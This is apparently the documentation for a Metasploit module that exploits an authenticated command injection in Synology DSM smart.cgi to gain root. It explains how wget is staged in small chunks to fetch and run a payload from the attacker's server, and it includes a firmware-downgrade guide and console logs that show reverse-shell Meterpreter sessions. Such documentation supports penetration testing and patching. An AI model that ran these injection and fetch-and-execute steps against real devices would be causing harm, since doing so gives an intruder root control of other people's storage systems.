## Vulnerable Application

This module exploits a vulnerability found in Synology DiskStation Manager (DSM)
versions < 5.2-5967-5, which allows the execution of arbitrary commands under root
privileges after website authentication.

The vulnerability is located in `webman/modules/StorageManager/smart.cgi`, which
allows appending of a command to the device to be scanned.  However, the command
with drive is limited to 30 characters.  A somewhat valid drive name is required,
thus /dev/sd is used, even though it doesn't exist.  To circumvent the character
restriction, a wget input file is staged in /a, and executed to download our payload
to /b.  From there the payload is executed.  A wfsdelay is required to give time
for the payload to download, and the execution of it to run.

A more detailed explanation of exploitation steps:

1. We first clean the env by deleting `/a`, and `b`
2. we use `echo -n` to append our IP:PORT for our staging server to `/a`.  This is
done in small chunks to stay under the character limit.
3. we call `wget -i /a -O b` to write our payload to `b` in `/usr/syno/synoman/webman/modules/StorageManager`
4. we wait for HTTP Server to receive the `wget` request and send back the payload.  Then we execute it.

### Notes

`smart.cgi` and our payload are located in `/usr/syno/synoman/webman/modules/StorageManager`.

`/var/log/messages` will contain logs of exploitation:

```
May 19 16:35:50 oldNas smart.cgi: smart.cpp:477 smartctl system command failed cmd: /usr/syno/bin/smartctl -d sat -t short /dev/sd`wget -i /a -O b` > /dev/null 2>&1 ret: 4
May 19 16:35:50 oldNas smart.cgi: smart.cpp:846 error
```

No randomization was chosen on the `a` and `b` file names since we're so limited on characters as it is.
While it would be possible to randomize a single character, it didn't seem worth the effort.

### Device Downgrade

The vulnerable DSM can be downloaded from [Synology](https://archive.synology.com/download/DSM/release/5.2/5644/)

Essentially Synology doesn't want you to downgrade. In order to do so, we need to mount the recovery boot loader
and overwrite it with synology 5.2.  Then when we cause an issue (by removing the disks on boot), it will boot
to the recovery.  Since the recovery is 5.2, it will let us install the 'current' version of 5.2.

You'll want to watch [Downgrade DSM6.x to DSM 5.2](https://youtube.com/watch?v=DFtOmEv63n4)

The notes from the video are:

1. Turn on synology and backup data if needed.
2. Create a shared folder. ("test" is used in this guide)
3. Locally, extract 4 files from DSM 5644.pat (grub_cksum.syno, rd.gz, zImage, checksum.syno)
and place the files in the newly created shared folder on the NAS.
4. Enable telnet/ssh in the DSM control panel.
5. telnet/ssh to the diskstation.
6. Log in as admin.
7. Type `sudo su`. The password it asks for will also be the admins password.
8. Type `cd /dev` to change to the devices directory.
9. Type `ls synoboot2` to make sure synoboot2 is listed.
10. Type `mkdir /mnt/synoboot` to make a directory to mount to.
11. Type `mount synoboot2 /mnt/synoboot` to mount the boot files to the directory we created.
12. Type `cd /mnt/synoboot` to change to that directory.
13. Type `ls` to view the files in the directory.
(note that the names of the 4 files we put in the shared folder, should be there.
Although these ones listed are the DSM6 versions)
14. Type `cp /volume1/test/checksum.syno /mnt/synoboot`.
15. Type `cp /volume1/test/grub_cksum.syno /mnt/synoboot`.
16. Type `cp /volume1/test/rd.gz /mnt/synoboot`.
17. Type `cp /volume1/test/zImage /mnt/synoboot`.
18. Go back into the DSM interface and shutdown. Once the device is shutdown, remove the disks.
(This step is important because if you do not remove the disks,
the next powerup will detect an issue and recover the DSM6 boot image)
19. Power the device up. Should say no disks inserted.
Before clicking the connect again button, put the hard disks back in and wait for the HDD LED's to light up.
20. If disks are in, click the connect again button.
Next page should come up saying to reinstall DSM.
Make sure to choose the 5967 pat file so that the bootimage is overwritten correctly.
21. Good to go! Data should remain intact as long as it is in a shared folder,
and DSM should be a completely stock 5.2 - 5967.

## Verification Steps

  1. Install the 5.2 vulnerable DSM
  2. Start msfconsole
  3. Do: ```use exploit/linux/http/synology_dsm_smart_exec_auth```
  4. Do: ```set username <username>```
  5. Do: ```set password <password>```
  6. Do: ```run```
  7. You should get a root shell.

## Options

### Password

Password for website login.  Default is `password`.

### Username

Username for website login.  Default is `admin`.

### wfsdelay

Wfsdelay needs to be at least a couple seconds to allow for payload download and staging.  Default is `10`.

## Scenarios

### DS412+ with DSM 5.2-5644

  ```
  [*] Processing synology.rc for ERB directives.
  resource (synology.rc)> use modules/exploits/linux/http/synology_dsm_smart_exec_auth
  resource (synology.rc)> set payload python/meterpreter/reverse_tcp
  payload => python/meterpreter/reverse_tcp
  resource (synology.rc)> set rhosts 2.2.2.2
  rhosts => 2.2.2.2
  resource (synology.rc)> set lport 60111
  lport => 60111
  resource (synology.rc)> set lhost 1.1.1.1
  lhost => 1.1.1.1
  resource (synology.rc)> set srvhost 1.1.1.1
  srvhost => 1.1.1.1
  resource (synology.rc)> set username admin
  username => admin
  resource (synology.rc)> set password password
  password => password
  resource (synology.rc)> set verbose true
  verbose => true
  resource (synology.rc)> rexploit
  [*] Reloading module...
  [*] Started reverse TCP handler on 1.1.1.1:60111 
  [*] Trying to detect installed version
  [*] Model DS412+ with version 5.2-5644 detected
  [*] Attempting Login
  [*] Using URL: http://1.1.1.1:8080/
  [*] Cleaning env
  [*] Staging wget with: echo -n '1.1'>>/a
  [*] Staging wget with: echo -n '.1.1:'>>/a
  [*] Staging wget with: echo -n '8080'>>/a
  [*] Requesting payload pull
  [+] HTTP Server request received, sending payload
  [*] Executing payload
  [*] Sending stage (53755 bytes) to 2.2.2.2
  [*] Meterpreter session 1 opened (1.1.1.1:60111 -> 2.2.2.2:42353) at 2020-05-19 20:13:33 -0400
  [*] Server stopped.
  [!] This exploit may require manual cleanup of '/usr/syno/synoman/webman/modules/StorageManager/b' on the target
  [!] This exploit may require manual cleanup of '/a' on the target

  meterpreter > 
  [+] Deleted /usr/syno/synoman/webman/modules/StorageManager/b
  [+] Deleted /a

  meterpreter > getuid
  Server username: root
  meterpreter > sysinfo
  Computer     : oldNas
  OS           : Linux 3.10.35 #5644 SMP Thu Nov 12 17:18:22 CST 2015
  Architecture : x64
  Meterpreter  : python/linux
  meterpreter > cat /etc.defaults/VERSION
  majorversion="5"
  minorversion="2"
  buildphase="hotfix"
  buildnumber="5644"
  smallfixnumber="0"
  builddate="2015/11/12"
  buildtime="17:17:21"
  meterpreter > 
  ```

### DS410 with DSM 5.2-5644

This unit's version was not able to be determined automatically.  `forceexploit` was set to `true` to enable it to run.

```
msf exploit(linux/http/synology_dsm_smart_exec_auth) > run

[*] Started reverse TCP handler on 192.168.135.168:4567 
[*] Trying to detect installed version
[*] Attempting Login
[*] Using URL: http://192.168.135.168:8080/
[*] Cleaning env
[*] Staging wget with: echo -n '192.168'>>/a
[*] Staging wget with: echo -n '.135.16'>>/a
[*] Staging wget with: echo -n '8:8080'>>/a
[*] Requesting payload pull
[+] HTTP Server request received, sending payload
[*] Executing payload
[*] Sending stage (53755 bytes) to 192.168.132.107
[*] Meterpreter session 1 opened (192.168.135.168:4567 -> 192.168.132.107:54951) at 2020-05-20 13:53:18 -0500
[*] Server stopped.
[!] This exploit may require manual cleanup of '/usr/syno/synoman/webman/modules/StorageManager/b' on the target
[!] This exploit may require manual cleanup of '/a' on the target

meterpreter > 
[+] Deleted /usr/syno/synoman/webman/modules/StorageManager/b
[+] Deleted /a

meterpreter > sysinfo
Computer     : DiskStation
OS           : Linux 2.6.32.12 #5644 Thu Nov 12 17:17:40 CST 2015
Architecture : ppc
Meterpreter  : python/linux
meterpreter > exit
```
